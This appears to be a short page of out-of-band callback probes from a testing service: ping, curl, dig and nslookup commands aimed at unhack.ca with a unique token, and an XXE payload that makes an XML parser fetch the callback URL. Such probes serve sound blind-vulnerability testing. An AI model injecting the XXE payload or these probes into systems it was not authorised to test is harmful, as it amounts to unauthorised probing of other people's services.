$ ping -c1 -p 00c4deaec80c490368347fa273e04600 unhack.ca
 

$ curl http://unhack.ca/p/c4deaec80c490368347fa273e046
 

$ dig c4deaec80c490368347fa273e046 @unhack.ca
 

$ dig c4deaec80c490368347fa273e046.ns.unhack.ca
 

C:\> nslookup c4deaec80c490368347fa273e046 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c4deaec80c490368347fa273e046">]>
    <foo>&xxe;</foo>